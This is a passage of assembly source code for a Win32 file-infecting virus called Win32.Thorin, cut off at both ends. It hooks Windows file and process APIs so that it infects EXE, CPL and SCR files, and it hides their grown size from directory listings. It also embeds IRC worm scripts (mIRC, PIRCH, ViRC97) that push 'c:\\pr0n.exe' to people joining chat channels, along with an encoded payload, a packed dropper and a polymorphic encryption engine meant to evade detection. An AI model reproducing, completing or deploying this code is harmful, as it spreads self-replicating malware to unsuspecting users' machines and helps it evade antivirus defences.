call DoHookStuff
|
||
jmp [eax+_MoveFileA]
|
||
|
||
HookCopyFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_CopyFileA]
|
||
|
||
HookGetFullPathNameA:
|
||
call DoHookStuff
|
||
jmp [eax+_GetFullPathNameA]
|
||
|
||
HookDeleteFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_DeleteFileA]
|
||
|
||
HookWinExec:
|
||
call DoHookStuff
|
||
jmp [eax+_WinExec]
|
||
|
||
HookCreateFileA:
|
||
call DoHookStuff
|
||
jmp [eax+_CreateFileA]
|
||
|
||
HookCreateProcessA:
|
||
call DoHookStuff
|
||
jmp [eax+_CreateProcessA]
|
||
|
||
HookGetFileAttributesA:
|
||
call DoHookStuff
|
||
jmp [eax+_GetFileAttributesA]
|
||
|
||
HookFindFirstFileA:
|
||
pushad ; Save all reggies
|
||
call GetDeltaOffset ; EBP = Delta Offset
|
||
mov eax,[esp+20h] ; EAX = Return Address
|
||
mov dword ptr [ebp+FFRetAddress],eax
|
||
mov eax,[esp+28h] ; EAX = Ptr to WFD
|
||
mov dword ptr [ebp+FF_WFD],eax
|
||
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
add esp,4 ; Remove this ret address from
|
||
; stack
|
||
|
||
call [eax+_FindFirstFileA] ; Call original API
|
||
|
||
test eax,eax ; Fail? Shit...
|
||
jz FF_GoAway
|
||
|
||
pushad ; Save reggies and flaggies
|
||
pushfd
|
||
|
||
call GetDeltaOffset ; Delta again
|
||
|
||
movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers
|
||
mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem
|
||
|
||
mov esi,12345678h ; Ptr to filename
|
||
FF_WFD equ $-4
|
||
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
|
||
|
||
cmp ebx,n_Handles ; Over max hnd storing?
|
||
jae AvoidStoring ; Shit...
|
||
|
||
; WFD_Handles structure
|
||
; ?????????????????????
|
||
; +00h WFD Handle
|
||
; +04h Address of its WIN32_FIND_DATA
|
||
|
||
mov dword ptr [edx+ebx*8],eax ; Store Handle
|
||
mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset
|
||
|
||
inc byte ptr [ebp+WFD_Handles_Count]
|
||
|
||
AvoidStoring:
|
||
push esi
|
||
call Check4ValidFile ; Is a reliable file 4 inf?
|
||
pop edi
|
||
jc FF_AvoidInfekt ; Duh!
|
||
|
||
push edi
|
||
call _Infection ; Infect it
|
||
pop esi
|
||
|
||
call Info4Stealth ; Get, if available, old file's
|
||
; size
|
||
jc FF_AvoidInfekt
|
||
|
||
mov ecx,dword ptr [ebp+FF_WFD]
|
||
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
|
||
mov [ecx],eax ; Size stealth!
|
||
|
||
FF_AvoidInfekt:
|
||
popfd
|
||
popad
|
||
|
||
FF_GoAway: ; Return to caller
|
||
push 12345678h
|
||
FFRetAddress equ $-4
|
||
ret
|
||
|
||
HookFindNextFileA:
|
||
pushad ; Save all reggies
|
||
call GetDeltaOffset ; Get delta offset
|
||
mov eax,[esp+20h] ; EAX = Return address
|
||
mov dword ptr [ebp+FNRetAddress],eax
|
||
mov eax,[esp+24h] ; EAX = Search Handle
|
||
mov dword ptr [ebp+FN_Hnd],eax
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
|
||
add esp,4
|
||
|
||
call [eax+_FindNextFileA] ; Call original API
|
||
or eax,eax ; Fail? Damn.
|
||
jz FN_GoAway
|
||
|
||
pushad ; Save regs and flags
|
||
pushfd
|
||
|
||
call GetDeltaOffset ; Get delta again
|
||
|
||
mov eax,12345678h ; EAX = Search Handle
|
||
FN_Hnd equ $-4
|
||
|
||
call Check4ValidHandle ; Is in our table? If yes,
|
||
jc FN_AvoidInfekt ; infect.
|
||
|
||
xchg esi,eax ; ESI = Pointer to WFD
|
||
|
||
mov dword ptr [ebp+FN_FS],esi ; Save if for later
|
||
add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA)
|
||
push esi ; ESI = Ptr to filename
|
||
call Check4ValidFile ; Is reliable its inf.?
|
||
pop edi
|
||
jc FN_AvoidInfekt ; Duh...
|
||
push edi
|
||
call _Infection ; Infect it !
|
||
pop esi
|
||
call Info4Stealth ; Retrieve info for possible
|
||
; stealth...
|
||
jc FN_AvoidInfekt
|
||
|
||
mov ecx,12345678h
|
||
FN_FS equ $-4
|
||
add ecx,(offset WFD_nFileSizeLow-offset WIN32_FIND_DATA)
|
||
mov [ecx],eax ; Size Stealth, dude!
|
||
|
||
FN_AvoidInfekt:
|
||
popfd ; Restore flags & regs
|
||
popad
|
||
|
||
FN_GoAway: ; Return to caller
|
||
push 12345678h
|
||
FNRetAddress equ $-4
|
||
ret
|
||
|
||
HookGetProcAddress:
|
||
pushad ; Save all the registers
|
||
call GetDeltaOffset ; EBP = Delta Offset
|
||
mov eax,[esp+24h] ; EAX = Base address of module
|
||
cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32?
|
||
jnz OriginalGPA ; If not, it's not our problem
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe place
|
||
|
||
call [eax+_GetProcAddress] ; Call original API
|
||
or eax,eax ; Fail? Duh!
|
||
jz HGPA_SeeYa
|
||
|
||
pushad
|
||
xchg eax,ebx ; EBX = Address of function
|
||
|
||
call GetDeltaOffset ; EBP = Delta offset
|
||
|
||
mov ecx,n_HookedAPIs ; ECX = Number of hooked apis
|
||
lea esi,[ebp+@@HookedOffsetz] ; ESI = Ptr to array of API
|
||
; addresses
|
||
xor edx,edx ; EDX = Counter (set to 0)
|
||
HGPA_IsHookableAPI?:
|
||
lodsd ; EAX = API from array
|
||
cmp ebx,eax ; Is equal to requested address?
|
||
jz HGPA_IndeedItIs ; If yes, it's interesting 4 us
|
||
inc edx ; Increase counter
|
||
loop HGPA_IsHookableAPI? ; Search loop
|
||
jmp OriginalGPAx
|
||
|
||
HGPA_IndeedItIs:
|
||
lea edi,[ebp+@@Hookz] ; EDI = Ptr to hooked API strings
|
||
xor ebx,ebx ; EBX = New counter
|
||
HGPA_AndWhatAPI?:
|
||
cmp edx,ebx ; We want EBX = EDX
|
||
jz HGPA_ThisAPI
|
||
xor al,al ; Travel trough the Hooks
|
||
scasb ; structure
|
||
jnz $-1
|
||
add edi,4
|
||
inc ebx
|
||
jmp HGPA_AndWhatAPI?
|
||
HGPA_ThisAPI:
|
||
xor al,al ; EDI = Points to requested
|
||
scasb ; api string
|
||
jnz $-1
|
||
mov eax,[edi] ; Get its offset
|
||
add eax,ebp ; Adjust it to delta
|
||
mov [esp.PUSHAD_EAX],eax
|
||
popad
|
||
|
||
HGPA_SeeYa:
|
||
push 12345678h
|
||
HGPA_RetAddress equ $-4
|
||
ret
|
||
|
||
OriginalGPAx:
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
push dword ptr [eax+HGPA_RetAddress]
|
||
jmp [eax+_GetProcAddress]
|
||
|
||
OriginalGPA:
|
||
mov [esp.PUSHAD_EAX],ebp
|
||
popad
|
||
jmp [eax+_GetProcAddress]
|
||
|
||
; ===========================================================================
|
||
; Hooked "standard" APIs handler
|
||
; ===========================================================================
|
||
|
||
DoHookStuff:
|
||
pushad
|
||
pushfd
|
||
call GetDeltaOffset
|
||
mov edx,[esp+2Ch] ; Get filename to infect
|
||
mov esi,edx
|
||
call Check4ValidFile
|
||
jc ErrorDoHookStuff
|
||
InfectWithHookStuff:
|
||
xchg edi,edx
|
||
call _Infection
|
||
ErrorDoHookStuff:
|
||
popfd ; Preserve all as if nothing
|
||
popad ; happened :)
|
||
push ebp
|
||
call GetDeltaOffset ; Get delta offset
|
||
xchg eax,ebp
|
||
pop ebp
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Retrieve information for size-stealth
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file name
|
||
; output:
|
||
; EAX = Old Size (Stored at PE Header+44h)
|
||
; CF = Set to 1 if error (file not infected, I/O, etc)
|
||
;
|
||
|
||
Info4Stealth:
|
||
and byte ptr [ebp+CoolFlag],00h ; Flag to 0
|
||
|
||
call OpenFile ; Open File
|
||
cmp_ eax,I4S_Error
|
||
|
||
mov dword ptr [ebp+FileHandle],eax ; Store its handler
|
||
|
||
push 00000000h ; Get file's size
|
||
push eax
|
||
apicall _GetFileSize
|
||
xchg eax,ecx
|
||
|
||
push ecx ; Create its mapping
|
||
call CreateMap
|
||
pop ecx
|
||
|
||
cmpz_ eax,I4S_Error_CloseFileHnd
|
||
|
||
mov dword ptr [ebp+MapHandle],eax ; Save handler
|
||
|
||
call MapFile ; Create a mapping view
|
||
cmpz_ eax,I4S_Error_CloseMapHnd
|
||
|
||
mov dword ptr [ebp+MapAddress],eax ; Store mapping address
|
||
|
||
mov esi,[eax+3Ch]
|
||
add esi,eax
|
||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||
jnz I4S_Error_UnMapHnd
|
||
|
||
push dword ptr [esi+orig_size] ; Get original's file size
|
||
pop dword ptr [ebp+OldSize] ; And put it in a temp place
|
||
|
||
inc byte ptr [ebp+CoolFlag] ; Set flag to 1
|
||
|
||
I4S_Error_UnMapHnd:
|
||
push dword ptr [ebp+MapAddress] ; Close map view of file
|
||
apicall _UnmapViewOfFile
|
||
|
||
I4S_Error_CloseMapHnd:
|
||
push dword ptr [ebp+MapHandle] ; Close map handle
|
||
apicall _CloseHandle
|
||
|
||
I4S_Error_CloseFileHnd:
|
||
push dword ptr [ebp+FileHandle] ; Close file handle
|
||
apicall _CloseHandle
|
||
|
||
cmp byte ptr [ebp+CoolFlag],00h ; Were we able to open? If yes,
|
||
jz I4S_Error ; leave stack clear...
|
||
|
||
I4S_Successful:
|
||
mov eax,12345678h
|
||
OldSize equ $-4
|
||
mov cl,00h
|
||
org $-1
|
||
I4S_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Check if file infection is reliable
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; ESI = Pointer to file name
|
||
; output:
|
||
; CF = Set to 1 if it's reliable, to 0 if it isn't
|
||
;
|
||
|
||
Check4ValidFile:
|
||
lodsb
|
||
or al,al ; Find NULL? Shit...
|
||
jz C4VF_Error
|
||
cmp al,"." ; Dot found? Interesting...
|
||
jnz Check4ValidFile
|
||
dec esi
|
||
lodsd ; Put extension in EAX
|
||
or eax,20202020h ; Make string locase
|
||
not eax
|
||
cmp eax,not "exe." ; Is it an EXE? Infect!!!
|
||
jz C4VF_Successful
|
||
cmp eax,not "lpc." ; Is it a CPL? Infect!!!
|
||
jz C4VF_Successful
|
||
cmp eax,not "rcs." ; Is is a SCR? Infect!!!
|
||
jnz C4VF_Error
|
||
C4VF_Successful:
|
||
mov cl,00h
|
||
org $-1
|
||
C4VF_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; Check if handle was stored previously
|
||
; ===========================================================================
|
||
;
|
||
; input:
|
||
; EAX = Handle
|
||
; output:
|
||
; EAX = WFD Offset of given handle
|
||
; EDX = Places what it occupies in WFD_Handles structure
|
||
; CF = Set to 1 if it's found, to 0 if it wasn't
|
||
;
|
||
|
||
Check4ValidHandle:
|
||
xor edx,edx
|
||
mov edi,[ebp+WFD_HndInMem]
|
||
C4VH_l00p:
|
||
cmp edx,n_Handles ; Over limits? Shit...
|
||
jae C4VH_Error
|
||
|
||
cmp eax,[edx*8+edi] ; EAX = a handler stored in
|
||
jz C4VH_Successful ; table
|
||
|
||
inc edx ; Increase counter
|
||
jmp C4VH_l00p
|
||
C4VH_Successful:
|
||
mov eax,[edx*8+edi+4] ; EAX = WFD Offset
|
||
|
||
mov cl,00h
|
||
org $-1
|
||
C4VH_Error:
|
||
stc
|
||
ret
|
||
|
||
; ===========================================================================
|
||
; mIRC worm
|
||
; ===========================================================================
|
||
|
||
mIRCWorm db "[script]",10
|
||
db "n0=ON 1:JOIN:#: {/if ($nick==$me) { halt }",10
|
||
db "n1=/dcc send $nick c:\pr0n.exe",10
|
||
db "n2=}",10
|
||
db "n3=ON 1:TEXT:*pr0n*:#:/quit Win32.mIRC32.Thorin 1.00",10
|
||
db "n4=ON 1:TEXT:*virus*:#:/ignore -u666 $nick",10
|
||
db "n5=ON 1:CONNECT: {",10
|
||
db "n6=/msg Billy_Bel You are the g0d of fuck!",10
|
||
db "n7=}",10
|
||
mIRCWormSize equ ($-offset mIRCWorm)
|
||
|
||
; ===========================================================================
|
||
; PIRCH worm
|
||
; ===========================================================================
|
||
|
||
PirchWorm db "[Levels]",10
|
||
db "Enabled=1",10
|
||
db "Count=1",10
|
||
db "Level1=ThorinWorm",10,10
|
||
db "[ThorinWorm]",10
|
||
db "User1=*!*@*",10
|
||
db "UserCount=1",10
|
||
db "Event1=;Thorin is here",10
|
||
db "Event2=ON JOIN:#:/dcc send $nick c:\pr0n.exe",10
|
||
db "Event3=;Win32.PIRCH32.Thorin 1.00",10
|
||
db "EventCount=3",10
|
||
PirchWormSize equ ($-offset PirchWorm)
|
||
|
||
; ===========================================================================
|
||
; ViRC97 worm
|
||
; ===========================================================================
|
||
|
||
ViRC97Worm db "Name Win32.ViRC97.Thorin 1.00",10
|
||
db "// Events",10,10
|
||
db 'Event JOIN "* JOIN"',10
|
||
db " DCC Send $nick c:\pr0n.exe",10
|
||
db "EndEvent",10
|
||
ViRC97WormSize equ ($-offset ViRC97Worm)
|
||
|
||
; ===========================================================================
|
||
; Payload code
|
||
; ===========================================================================
|
||
|
||
payl0ad label byte
|
||
db 0B8h, 003h, 000h, 0CDh, 010h, 0BEh, 051h, 002h
|
||
db 0E8h, 0F7h, 000h, 033h, 0C0h, 0CDh, 016h, 03Ch
|
||
db 063h, 074h, 003h, 0E9h, 0C7h, 000h, 0BEh, 0BCh
|
||
db 003h, 0E8h, 0E6h, 000h, 033h, 0C0h, 0CDh, 016h
|
||
db 03Ch, 061h, 074h, 003h, 0E9h, 0B6h, 000h, 0BEh
|
||
db 005h, 004h, 0E8h, 0D5h, 000h, 033h, 0C0h, 0CDh
|
||
db 016h, 03Ch, 062h, 074h, 003h, 0E9h, 0A5h, 000h
|
||
db 0E8h, 09Bh, 000h, 059h, 06Fh, 075h, 020h, 064h
|
||
db 065h, 06Dh, 06Fh, 06Eh, 073h, 074h, 072h, 061h
|
||
db 074h, 065h, 064h, 02Ch, 020h, 061h, 074h, 020h
|
||
db 06Ch, 065h, 061h, 073h, 074h, 02Ch, 020h, 074h
|
||
db 068h, 061h, 074h, 020h, 079h, 06Fh, 075h, 020h
|
||
db 068h, 061h, 076h, 065h, 020h, 072h, 065h, 061h
|
||
db 064h, 020h, 027h, 054h, 068h, 065h, 020h, 048h
|
||
db 06Fh, 062h, 062h, 069h, 074h, 027h, 02Eh, 02Eh
|
||
db 02Eh, 00Ah, 00Dh, 041h, 06Eh, 064h, 020h, 074h
|
||
db 068h, 069h, 073h, 020h, 06Dh, 061h, 064h, 065h
|
||
db 073h, 020h, 079h, 06Fh, 075h, 020h, 06Fh, 06Eh
|
||
db 065h, 020h, 06Fh, 066h, 020h, 074h, 068h, 065h
|
||
db 020h, 063h, 068h, 06Fh, 073h, 065h, 06Eh, 02Eh
|
||
db 020h, 04Eh, 06Fh, 077h, 020h, 073h, 069h, 06Dh
|
||
db 070h, 06Ch, 079h, 020h, 065h, 06Eh, 074h, 065h
|
||
db 072h, 020h, 077h, 069h, 06Eh, 064h, 06Fh, 077h
|
||
db 073h, 00Ah, 00Dh, 064h, 069h, 072h, 065h, 063h
|
||
db 074h, 06Fh, 072h, 079h, 020h, 061h, 06Eh, 064h
|
||
db 020h, 074h, 079h, 070h, 065h, 020h, 027h, 077h
|
||
db 069h, 06Eh, 027h, 00Ah, 00Dh, 024h, 05Ah, 0B4h
|
||
db 009h, 0CDh, 021h, 0CDh, 020h, 0E4h, 021h, 00Ch
|
||
db 002h, 0E6h, 021h, 0E8h, 015h, 000h, 00Ah, 00Dh
|
||
db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h
|
||
db 061h, 020h, 06Ch, 06Fh, 073h, 065h, 072h, 02Eh
|
||
db 02Eh, 02Eh, 024h, 05Ah, 0B4h, 009h, 0CDh, 021h
|
||
db 0EBh, 0DBh, 0B4h, 00Eh, 0ACh, 00Ah, 0C0h, 074h
|
||
db 007h, 0CDh, 010h, 0E8h, 003h, 000h, 0EBh, 0F4h
|
||
db 0C3h, 050h, 053h, 051h, 052h, 0BAh, 040h, 001h
|
||
db 0BBh, 000h, 002h, 0E4h, 061h, 024h, 0FCh, 034h
|
||
db 002h, 0E6h, 061h, 081h, 0C2h, 048h, 092h, 0B1h
|
||
db 003h, 0D3h, 0CAh, 08Bh, 0CAh, 081h, 0E1h, 0FFh
|
||
db 001h, 083h, 0C9h, 00Ah, 0E2h, 0FEh, 04Bh, 075h
|
||
db 0E6h, 024h, 0FCh, 0E6h, 061h, 0BBh, 001h, 000h
|
||
db 032h, 0E4h, 0CDh, 01Ah, 003h, 0DAh, 0CDh, 01Ah
|
||
db 03Bh, 0D3h, 075h, 0FAh, 05Ah, 059h, 05Bh, 058h
|
||
db 0C3h, 048h, 069h, 021h, 020h, 049h, 027h, 06Dh
|
||
db 020h, 054h, 068h, 06Fh, 072h, 069h, 06Eh, 02Ch
|
||
db 020h, 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h
|
||
db 054h, 068h, 072h, 061h, 069h, 06Eh, 02Ch, 020h
|
||
db 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h, 054h
|
||
db 068h, 072h, 06Fh, 072h, 02Eh, 02Eh, 02Eh, 00Ah
|
||
db 00Dh, 049h, 020h, 06Fh, 077h, 06Eh, 020h, 079h
|
||
db 06Fh, 075h, 072h, 020h, 063h, 06Fh, 06Dh, 070h
|
||
db 075h, 074h, 065h, 072h, 020h, 073h, 069h, 06Eh
|
||
db 063h, 065h, 020h, 073h, 06Fh, 06Dh, 065h, 020h
|
||
db 074h, 069h, 06Dh, 065h, 020h, 061h, 067h, 06Fh
|
||
db 02Ch, 020h, 062h, 075h, 074h, 020h, 069h, 027h
|
||
db 076h, 065h, 020h, 062h, 065h, 065h, 06Eh, 00Ah
|
||
db 00Dh, 069h, 06Eh, 020h, 073h, 069h, 06Ch, 065h
|
||
db 06Eh, 063h, 065h, 020h, 073h, 069h, 06Eh, 063h
|
||
db 065h, 020h, 06Eh, 06Fh, 077h, 02Eh, 02Eh, 02Eh
|
||
db 020h, 049h, 020h, 068h, 061h, 076h, 065h, 06Eh
|
||
db 027h, 074h, 020h, 06Eh, 06Fh, 074h, 068h, 069h
|
||
db 06Eh, 067h, 020h, 061h, 067h, 061h, 069h, 06Eh
|
||
db 069h, 073h, 074h, 020h, 070h, 065h, 06Fh, 070h
|
||
db 06Ch, 065h, 020h, 069h, 06Eh, 00Ah, 00Dh, 067h
|
||
db 065h, 06Eh, 065h, 072h, 061h, 06Ch, 02Ch, 020h
|
||
db 062h, 075h, 074h, 020h, 069h, 020h, 068h, 061h
|
||
db 074h, 065h, 020h, 074h, 068h, 065h, 020h, 069h
|
||
db 06Eh, 063h, 075h, 06Ch, 074h, 020h, 070h, 065h
|
||
db 06Fh, 070h, 06Ch, 065h, 02Eh, 020h, 050h, 06Ch
|
||
db 065h, 061h, 073h, 065h, 020h, 061h, 06Eh, 073h
|
||
db 077h, 065h, 072h, 020h, 06Dh, 065h, 020h, 063h
|
||
db 06Fh, 072h, 072h, 065h, 063h, 074h, 06Ch, 079h
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 031h, 02Eh, 020h, 049h
|
||
db 06Eh, 020h, 077h, 068h, 061h, 074h, 020h, 062h
|
||
db 06Fh, 06Fh, 06Bh, 020h, 069h, 020h, 061h, 070h
|
||
db 070h, 065h, 061h, 072h, 020h, 061h, 073h, 020h
|
||
db 06Fh, 06Eh, 065h, 020h, 06Fh, 066h, 020h, 074h
|
||
db 068h, 065h, 020h, 06Dh, 061h, 069h, 06Eh, 020h
|
||
db 063h, 068h, 061h, 072h, 061h, 063h, 074h, 065h
|
||
db 072h, 073h, 03Fh, 00Ah, 00Dh, 020h, 05Bh, 061h
|
||
db 05Dh, 020h, 054h, 068h, 065h, 020h, 04Ch, 06Fh
|
||
db 072h, 064h, 020h, 04Fh, 066h, 020h, 054h, 068h
|
||
db 065h, 020h, 052h, 069h, 06Eh, 067h, 073h, 00Ah
|
||
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 054h, 068h
|
||
db 065h, 020h, 053h, 069h, 06Ch, 06Dh, 061h, 072h
|
||
db 069h, 06Ch, 06Ch, 069h, 06Fh, 06Eh, 00Ah, 00Dh
|
||
db 020h, 05Bh, 063h, 05Dh, 020h, 054h, 068h, 065h
|
||
db 020h, 048h, 06Fh, 062h, 062h, 069h, 074h, 00Ah
|
||
db 00Dh, 00Ah, 00Dh, 000h, 032h, 02Eh, 020h, 057h
|
||
db 068h, 061h, 074h, 020h, 061h, 06Dh, 020h, 069h
|
||
db 020h, 069h, 06Eh, 020h, 074h, 068h, 061h, 074h
|
||
db 020h, 062h, 06Fh, 06Fh, 06Bh, 03Fh, 00Ah, 00Dh
|
||
db 020h, 05Bh, 061h, 05Dh, 020h, 041h, 020h, 064h
|
||
db 077h, 061h, 072h, 066h, 00Ah, 00Dh, 020h, 05Bh
|
||
db 062h, 05Dh, 020h, 041h, 06Eh, 020h, 065h, 06Ch
|
||
db 066h, 00Ah, 00Dh, 020h, 05Bh, 063h, 05Dh, 020h
|
||
db 041h, 020h, 068h, 06Fh, 062h, 062h, 069h, 074h
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 000h, 033h, 02Eh, 020h
|
||
db 057h, 068h, 061h, 074h, 020h, 069h, 073h, 020h
|
||
db 074h, 068h, 065h, 020h, 06Eh, 061h, 06Dh, 065h
|
||
db 020h, 06Fh, 066h, 020h, 074h, 068h, 065h, 020h
|
||
db 064h, 072h, 061h, 067h, 06Fh, 06Eh, 03Fh, 00Ah
|
||
db 00Dh, 020h, 05Bh, 061h, 05Dh, 020h, 053h, 063h
|
||
db 068h, 072h, 094h, 065h, 064h, 065h, 072h, 00Ah
|
||
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 053h, 06Dh
|
||
db 061h, 075h, 067h, 00Ah, 00Dh, 020h, 05Bh, 063h
|
||
db 05Dh, 020h, 053h, 074h, 061h, 06Ch, 069h, 06Eh
|
||
db 00Ah, 00Dh, 00Ah, 00Dh, 000h
|
||
p_size equ ($-offset payl0ad)
|
||
|
||
; ===========================================================================
|
||
; Dropper code (packed)
|
||
; ===========================================================================
|
||
|
||
dropper label byte
|
||
db 04Dh, 05Ah, 0F8h, 000h, 001h, 000h, 016h, 000h
|
||
db 003h, 000h, 004h, 000h, 003h, 000h, 0FFh, 0FFh
|
||
db 0F0h, 0FFh, 000h, 001h, 000h, 001h, 000h, 003h
|
||
db 000h, 001h, 0F0h, 0FFh, 040h, 000h, 024h, 000h
|
||
db 001h, 000h, 002h, 000h, 0E9h, 000h, 002h, 000h
|
||
db 0E8h, 041h, 000h, 001h, 000h, 046h, 075h, 063h
|
||
db 06Bh, 020h, 079h, 06Fh, 075h, 020h, 061h, 073h
|
||
db 073h, 068h, 06Fh, 06Ch, 065h, 021h, 020h, 054h
|
||
db 068h, 069h, 073h, 020h, 072h, 065h, 071h, 075h
|
||
db 069h, 072h, 065h, 073h, 020h, 061h, 020h, 057h
|
||
db 069h, 06Eh, 033h, 032h, 020h, 065h, 06Eh, 076h
|
||
db 069h, 072h, 06Fh, 06Dh, 065h, 06Eh, 074h, 02Eh
|
||
db 02Eh, 02Eh, 020h, 020h, 00Dh, 00Ah, 024h, 00Eh
|
||
db 01Fh, 0B4h, 009h, 0CDh, 021h, 0C3h, 05Ah, 0E8h
|
||
db 0F5h, 0FFh, 0B4h, 04Ch, 0CDh, 021h, 000h, 071h
|
||
db 000h, 050h, 045h, 000h, 002h, 000h, 04Ch, 001h
|
||
db 005h, 000h, 001h, 000h, 0ABh, 026h, 00Ah, 0B4h
|
||
db 000h, 008h, 000h, 0E0h, 000h, 001h, 000h, 08Eh
|
||
db 083h, 00Bh, 001h, 002h, 019h, 000h, 001h, 000h
|
||
db 002h, 000h, 003h, 000h, 004h, 000h, 008h, 000h
|
||
db 001h, 000h, 003h, 000h, 002h, 000h, 003h, 000h
|
||
db 003h, 000h, 003h, 000h, 040h, 000h, 003h, 000h
|
||
db 001h, 000h, 002h, 000h, 002h, 000h, 002h, 000h
|
||
db 001h, 000h, 007h, 000h, 003h, 000h, 001h, 000h
|
||
db 00Ah, 000h, 007h, 000h, 006h, 000h, 002h, 000h
|
||
db 004h, 000h, 006h, 000h, 002h, 000h, 005h, 000h
|
||
db 001h, 000h, 002h, 000h, 020h, 000h, 004h, 000h
|
||
db 001h, 000h, 002h, 000h, 010h, 000h, 006h, 000h
|
||
db 010h, 000h, 00Dh, 000h, 004h, 000h, 001h, 000h
|
||
db 04Ch, 000h, 01Dh, 000h, 005h, 000h, 001h, 000h
|
||
db 018h, 000h, 053h, 000h, 043h, 04Fh, 044h, 045h
|
||
db 000h, 005h, 000h, 010h, 000h, 004h, 000h, 001h
|
||
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 006h
|
||
db 000h, 011h, 000h, 060h, 02Eh, 069h, 063h, 06Fh
|
||
db 064h, 065h, 000h, 003h, 000h, 010h, 000h, 004h
|
||
db 000h, 002h, 000h, 002h, 000h, 002h, 000h, 003h
|
||
db 000h, 008h, 000h, 00Eh, 000h, 020h, 000h, 002h
|
||
db 000h, 060h, 044h, 041h, 054h, 041h, 000h, 005h
|
||
db 000h, 010h, 000h, 004h, 000h, 003h, 000h, 006h
|
||
db 000h, 00Ah, 000h, 00Eh, 000h, 040h, 000h, 002h
|
||
db 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h, 061h
|
||
db 000h, 003h, 000h, 010h, 000h, 004h, 000h, 004h
|
||
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 00Ah
|
||
db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h
|
||
db 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h, 003h
|
||
db 000h, 010h, 000h, 004h, 000h, 005h, 000h, 002h
|
||
db 000h, 002h, 000h, 003h, 000h, 00Ch, 000h, 00Eh
|
||
db 000h, 040h, 000h, 002h, 000h, 050h, 000h, 040h
|
||
db 003h, 0FFh, 035h, 008h, 000h, 001h, 000h, 043h
|
||
db 000h, 001h, 000h, 0E8h, 0F5h, 0FFh, 000h, 0F7h
|
||
db 001h, 0FFh, 025h, 028h, 000h, 001h, 000h, 044h
|
||
db 000h, 007h, 002h, 030h, 000h, 001h, 000h, 004h
|
||
db 000h, 001h, 000h, 028h, 000h, 001h, 000h, 004h
|
||
db 000h, 015h, 000h, 03Eh, 000h, 001h, 000h, 004h
|
||
db 000h, 005h, 000h, 04Bh, 045h, 052h, 04Eh, 045h
|
||
db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h
|
||
db 004h, 000h, 045h, 078h, 069h, 074h, 050h, 072h
|
||
db 06Fh, 063h, 065h, 073h, 073h, 000h, 0B7h, 001h
|
||
db 001h, 000h, 001h, 000h, 00Ch, 000h, 003h, 000h
|
||
db 002h, 030h, 000h, 004h, 000h, 002h, 000h, 001h
|
||
db 000h, 00Ch, 000h, 003h, 000h, 002h, 030h, 000h
|
||
db 0E2h, 01Eh
|
||
dropper_size equ ($-offset dropper)
|
||
|
||
; ===========================================================================
|
||
; [THME] - The Hobbit Mutation Engine
|
||
; ===========================================================================
|
||
;
|
||
; ?????????????? ???????????????????????????????????????????» ??????????????
|
||
; ???????????????? ??? ??????? ?? ?? ???????? ??????? ??? ????????????????
|
||
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
|
||
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
|
||
; ???????????????» ??? ??? ?? ?? ?? ?? ?? ??????? ??? ????????????????
|
||
; ?????????????? ???????????????????????????????????????????? ??????????????
|
||
;
|
||
;
|
||
; This is a little polymorphic engine dessigned for my Win32.Thorin v1.00 vi-
|
||
; rus. It isn't very powerful, as it wasn't dessigned to be an unreachable
|
||
; engine, because the virus is enough big without poly, so i didn't wanted it
|
||
; to grow too much. It isn't my first poly engine for Win32 enviroments, but
|
||
; it is the first one i finished (and the simplest one). It is messy, unopti-
|
||
; mized, etc. But let me talk about its features:
|
||
;
|
||
; ? Non-realistic code (copro used, etc)
|
||
; ? Able of use any register (except ESP) as Pointer, Counter, and Delta.
|
||
; ? Crypt operations : ADD/SUB/XOR
|
||
; ? Garbage generator abilities:
|
||
; - CALLs to subroutines (can be recursive)
|
||
; - Arithmetic operations REG32/REG32
|
||
; - Arithmetic operations REG32/IMM32
|
||
; - Arithmetic operations EAX32/IMM32
|
||
; - MOV reg32,reg32/imm32
|
||
; - MOV reg16,reg16/imm16
|
||
; - PUSH/Garbage/POP structures
|
||
; - Coprocessor opcodes
|
||
; - Simple onebyters
|
||
; ? Encryptor fixed size, 2048 bytes.
|
||
;
|
||
; I coded this engine in a record time ;) Pfff, maaaany improvements could be
|
||
; made, i know, but i think there will be another versions of the virus, so i
|
||
; will try to fix bugs (if any) and improve the junk generation, that is very
|
||
; weak, as well as the encryption is.
|
||
;
|
||
; input:
|
||
; ECX = Size of code to encrypt/4
|
||
; ESI = Pointer to the data to encrypt
|
||
; EDI = Buffer where the decryptor+encrypted virus body will go
|
||
; EBP = Delta Offset
|
||
; output:
|
||
